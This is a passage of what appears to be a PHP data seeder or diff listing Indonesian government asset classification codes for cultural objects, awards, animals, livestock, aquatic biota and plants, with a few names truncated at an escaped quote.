'6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'BARANG BERCORAK KESENIAN LAINNYA', + ], + [ + 'id_aset' => 4097, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'BARANG BERCORAK KESENIAN LAINNYA', + ], + [ + 'id_aset' => 4098, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT BERCORAK KEBUDAYAAN', + ], + [ + 'id_aset' => 4099, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'PAHATAN', + ], + [ + 'id_aset' => 4100, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'PAHATAN BATU', + ], + [ + 'id_aset' => 4101, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'PAHATAN KAYU', + ], + [ + 'id_aset' => 4102, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'PAHATAN LOGAM', + ], + [ + 'id_aset' => 4103, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'PAHATAN LAINNYA', + ], + [ + 'id_aset' => 4104, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => '\"MAKET', + ], + [ + 'id_aset' => 4105, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'MAKET/MINIATUR/REPLIKA', + ], + [ + 'id_aset' => 4106, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'FOTO DOKUMEN', + ], + [ + 'id_aset' => 4107, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'NASKAH KUNO', + ], + [ + 'id_aset' => 4108, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'MATA UANG/ NUMISMATIK', + ], + [ + 'id_aset' => 4109, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'PERHIASAN', + ], + [ + 'id_aset' => 4110, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'BARANG KERAMIK/ GERABAH', + ], + [ + 'id_aset' => 4111, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'ARCA/ PATUNG', + ], + [ + 'id_aset' => 4112, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '008', + 'nama' => 'BENDA KUNO/ UNIK', + ], + [ + 'id_aset' => 4113, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '009', + 'nama' => 'FOSIL', + ], + [ + 'id_aset' => 4114, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '010', + 'nama' => 'MUMY', + ], + [ + 'id_aset' => 4115, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'MAKET DAN FOTO DOKUMEN LAINNYA', + ], + [ + 'id_aset' => 4116, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT BERCORAK KEBUDAYAAN LAINNYA', + ], + [ + 'id_aset' => 4117, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT BERCORAK KEBUDAYAAN LAINNYA', + ], + [ + 'id_aset' => 4118, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANDA PENGHARGAAN BIDANG OLAH RAGA', + ], + [ + 'id_aset' => 4119, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANDA PENGHARGAAN', + ], + [ + 'id_aset' => 4120, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'PIALA', + ], + [ + 'id_aset' => 4121, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'MEDALI', + ], + [ + 'id_aset' => 4122, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'PIAGAM', + ], + [ + 'id_aset' => 4123, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANDA PENGHARGAAN LAINNYA', + ], + [ + 'id_aset' => 4124, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANDA PENGHARGAAN BIDANG OLAH RAGA LAINNYA', + ], + [ + 'id_aset' => 4125, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANDA PENGHARGAAN BIDANG OLAH RAGA LAINNYA', + ], + [ + 'id_aset' => 4126, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'HEWAN', + ], + [ + 'id_aset' => 4127, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'HEWAN PIARAAN', + ], + [ + 'id_aset' => 4128, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'HEWAN PENGAMAN', + ], + [ + 'id_aset' => 4129, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'ANJING PELACAK', + ], + [ + 'id_aset' => 4130, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'ANJING PENJAGA', + ], + [ + 'id_aset' => 4131, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'HEWAN PENGAMAN LAINNYA', + ], + [ + 'id_aset' => 4132, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'HEWAN PENGANGKUT', + ], + [ + 'id_aset' => 4133, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'GAJAH', + ], + [ + 'id_aset' => 4134, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'KUDA (HEWAN PENGANGKUT)', + ], + [ + 'id_aset' => 4135, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'HEWAN PENGANGKUT LAINNYA', + ], + [ + 'id_aset' => 4136, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'HEWAN PIARAAN LAINNYA', + ], + [ + 'id_aset' => 4137, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'HEWAN PIARAAN LAINNYA', + ], + [ + 'id_aset' => 4138, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TERNAK', + ], + [ + 'id_aset' => 4139, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'TERNAK POTONG', + ], + [ + 'id_aset' => 4140, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'BABI', + ], + [ + 'id_aset' => 4141, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'DOMBA', + ], + [ + 'id_aset' => 4142, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'KAMBING', + ], + [ + 'id_aset' => 4143, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'KERBAU', + ], + [ + 'id_aset' => 4144, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'SAPI POTONG', + ], + [ + 'id_aset' => 4145, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'TERNAK POTONG LAINNYA', + ], + [ + 'id_aset' => 4146, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'TERNAK PERAH', + ], + [ + 'id_aset' => 4147, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'SAPI PERAH', + ], + [ + 'id_aset' => 4148, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'DOMBA PERAH', + ], + [ + 'id_aset' => 4149, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'KAMBING PERAH', + ], + [ + 'id_aset' => 4150, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'TERNAK PERAH LAINNYA', + ], + [ + 'id_aset' => 4151, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'TERNAK UNGGAS', + ], + [ + 'id_aset' => 4152, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'AYAM', + ], + [ + 'id_aset' => 4153, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'BURUNG', + ], + [ + 'id_aset' => 4154, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'ITIK', + ], + [ + 'id_aset' => 4155, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'TERNAK UNGGAS LAINNYA', + ], + [ + 'id_aset' => 4156, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'TERNAK LAINNYA', + ], + [ + 'id_aset' => 4157, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'TERNAK LAINNYA', + ], + [ + 'id_aset' => 4158, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'HEWAN LAINNYA', + ], + [ + 'id_aset' => 4159, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'HEWAN LAINNYA', + ], + [ + 'id_aset' => 4160, + 'golongan' => '6', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'HEWAN LAINNYA', + ], + [ + 'id_aset' => 4161, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'IKAN', + ], + [ + 'id_aset' => 4162, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'IKAN BERSIRIP (PISCES/IKAN BERSIRIP)', + ], + [ + 'id_aset' => 4163, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'IKAN BUDIDAYA', + ], + [ + 'id_aset' => 4164, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'IKAN AIR TAWAR BUDIDAYA', + ], + [ + 'id_aset' => 4165, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'IKAN AIR LAUT BUDIDAYA', + ], + [ + 'id_aset' => 4166, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'IKAN AIR PAYAU BUDIDAYA', + ], + [ + 'id_aset' => 4167, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'IKAN HIAS AIR TAWAR BUDIDAYA', + ], + [ + 'id_aset' => 4168, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'IKAN HIAS AIR PAYAU/LAUT BUDIDAYA', + ], + [ + 'id_aset' => 4169, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'IKAN BUDIDAYA LAINNYA', + ], + [ + 'id_aset' => 4170, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => '\"CRUSTEA (UDANG', + ], + [ + 'id_aset' => 4171, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => '\"CRUSTEA BUDIDAYA (UDANG', + ], + [ + 'id_aset' => 4172, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'UDANG', + ], + [ + 'id_aset' => 4173, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'RAJUNGAN', + ], + [ + 'id_aset' => 4174, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'KEPITING', + ], + [ + 'id_aset' => 4175, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => '\"CRUSTEA (UDANG', + ], + [ + 'id_aset' => 4176, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => '\"MOLLUSCA (KERANG', + ], + [ + 'id_aset' => 4177, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => '\"MOLLUSCA BUDIDAYA (KERANG', + ], + [ + 'id_aset' => 4178, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'KERANG', + ], + [ + 'id_aset' => 4179, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'TIRAM', + ], + [ + 'id_aset' => 4180, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'CUMI-CUMI', + ], + [ + 'id_aset' => 4181, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'GURITA', + ], + [ + 'id_aset' => 4182, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'SIPUT', + ], + [ + 'id_aset' => 4183, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => '\"MOLLUSCA (KERANG', + ], + [ + 'id_aset' => 4184, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'COELENTERATA (UBUR-UBUR DAN SEBANGSANYA)', + ], + [ + 'id_aset' => 4185, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'COELENTERATA BUDIDAYA (UBUR-UBUR DAN SEBANGSANYA)', + ], + [ + 'id_aset' => 4186, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'UBUR-UBUR BUDIDAYA', + ], + [ + 'id_aset' => 4187, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'COELENTERATA (UBUR-UBUR DAN SEBANGSANYA) LAINNYA', + ], + [ + 'id_aset' => 4188, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '05', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => '\"ECHINODERMATA (TRIPANG', + ], + [ + 'id_aset' => 4189, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => '\"ECHINODERMATA BUDIDAYA (TRIPANG', + ], + [ + 'id_aset' => 4190, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'TERIPANG', + ], + [ + 'id_aset' => 4191, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'BULU BABI', + ], + [ + 'id_aset' => 4192, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '05', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => '\"ECHINODERMATA (TRIPANG', + ], + [ + 'id_aset' => 4193, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '06', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'AMPHIBIA (KODOK DAN SEBANGSANYA)', + ], + [ + 'id_aset' => 4194, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'AMPHIBIA BUDIDAYA (KODOK DAN SEBANGSANYA)', + ], + [ + 'id_aset' => 4195, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'KODOK', + ], + [ + 'id_aset' => 4196, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'SEBANGSA KODOK', + ], + [ + 'id_aset' => 4197, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '06', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'AMPHIBIA (KODOK DAN SEBANGSANYA) LAINNYA', + ], + [ + 'id_aset' => 4198, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '07', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => '\"REPTILIA (BUAYA', + ], + [ + 'id_aset' => 4199, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => '\"REPTILIA BUDIDAYA (BUAYA', + ], + [ + 'id_aset' => 4200, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'PENYU', + ], + [ + 'id_aset' => 4201, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'KURA-KURA', + ], + [ + 'id_aset' => 4202, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'BIAWAK', + ], + [ + 'id_aset' => 4203, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'ULAR AIR', + ], + [ + 'id_aset' => 4204, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => '\"REPTILIA (BUAYA', + ], + [ + 'id_aset' => 4205, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '08', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => '\"MAMMALIA (PAUS', + ], + [ + 'id_aset' => 4206, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '08', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => '\"MAMMALIA BUDIDAYA (PAUS', + ], + [ + 'id_aset' => 4207, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '08', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'PAUS', + ], + [ + 'id_aset' => 4208, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '08', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'LUMBA-LUMBA', + ], + [ + 'id_aset' => 4209, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '08', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'PESUT', + ], + [ + 'id_aset' => 4210, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '08', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'DUYUNG', + ], + [ + 'id_aset' => 4211, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '08', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => '\"MAMMALIA (PAUS', + ], + [ + 'id_aset' => 4212, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '09', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALGAE (RUMPUT LAUT DAN TUMBUH-TUMBUHAN LAIN YANG HIDUP DI DALAM AIR)', + ], + [ + 'id_aset' => 4213, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '09', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALGAE BUDIDAYA (RUMPUT LAUT DAN TUMBUH-TUMBUHAN LAIN YANG HIDUP DI DALAM AIR)', + ], + [ + 'id_aset' => 4214, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '09', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'RUMPUT LAUT', + ], + [ + 'id_aset' => 4215, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '09', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'TUMBUH-TUMBUHAN LAIN YANG HIDUP DI DALAM AIR', + ], + [ + 'id_aset' => 4216, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '09', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALGAE (RUMPUT LAUT DAN TUMBUH-TUMBUHAN LAIN YANG HIDUP DI DALAM AIR) LAINNYA', + ], + [ + 'id_aset' => 4217, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '10', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'BIOTA PERAIRAN LAINNYA', + ], + [ + 'id_aset' => 4218, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '10', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'BUDIDAYA BIOTA PERAIRAN LAINNYA', + ], + [ + 'id_aset' => 4219, + 'golongan' => '6', + 'bidang' => '04', + 'kelompok' => '10', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'BIOTA PERAIRAN LAINNYA', + ], + [ + 'id_aset' => 4220, + 'golongan' => '6', + 'bidang' => '05', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAMAN', + ], + [ + 'id_aset' => 4221, + 'golongan' => '6', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAMAN', + ], + [ + 'id_aset' => 4222, + 'golongan' => '6', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'TANAMAN', + ], + [ + 'id_aset' => 4223, + 'golongan' => '6', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'TANAMAN KERAS', + ], + [ + 'id_aset' => 4224, + 'golongan' => '6', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'TANAMAN INDUSTRI', + ], + [ + 'id_aset' => 4225, + 'golongan' => '6', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'TANAMAN PERKEBUNAN', + ], + [ + 'id_aset' => 4226, + 'golongan' => '6', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'TANAMAN HORTIKULTURA', + ], + [ + 'id_aset' => 4227, + 'golongan' => '6', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'TANAMAN PANGAN', + ], + [ + 'id_aset' => 4228, + 'golongan' => '6', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'TANAMAN HIAS', + ], + [ + 'id_aset' => 4229, + 'golongan' => '6', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'TANAMAN OBAT', + ], + [ + 'id_aset' => 4230, + 'golongan' => '6', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'TANAMAN PLASMA', + ], + [ + 'id_aset' => 4231, + 'golongan' => '6', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'TANAMAN 